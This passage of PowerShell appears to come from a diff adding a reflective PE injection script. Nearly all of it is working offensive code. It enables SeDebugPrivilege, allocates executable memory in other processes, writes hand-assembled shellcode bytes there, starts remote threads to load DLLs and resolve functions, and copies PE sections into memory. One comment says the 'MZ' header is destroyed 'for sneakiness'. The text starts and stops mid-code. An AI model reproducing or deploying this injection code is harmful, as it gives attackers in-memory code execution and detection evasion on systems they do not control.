[System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + Function Enable-SeDebugPrivilege + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() + if ($ThreadHandle -eq [IntPtr]::Zero) + { + Throw "Unable to get the handle to the current thread" + } + + [IntPtr]$ThreadToken = [IntPtr]::Zero + [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) + { + $Result = $Win32Functions.ImpersonateSelf.Invoke(3) + if ($Result -eq $false) + { + Throw "Unable to impersonate self" + } + + $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) + if ($Result -eq $false) + { + Throw "Unable to OpenThreadToken." + } + } + else + { + Throw "Unable to OpenThreadToken. Error code: $ErrorCode" + } + } + + [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) + $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) + if ($Result -eq $false) + { + Throw "Unable to call LookupPrivilegeValue" + } + + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } + + Function Create-RemoteThread + { + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop + } + + return $RemoteThreadHandle + } + + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [IntPtr] + $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) + + [Parameter(Position=3, Mandatory=$true)] + [Bool] + $LoadByOrdinal + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal + #If not loading by ordinal, write the function name to the remote process memory + if (-not $LoadByOrdinal) + { + $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + } + #If loading by ordinal, just set RFuncNamePtr to be the ordinal number + else + { + $RFuncNamePtr = $FunctionNamePtr + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + #Cleanup remote process memory + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + if (-not $LoadByOrdinal) + { + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | 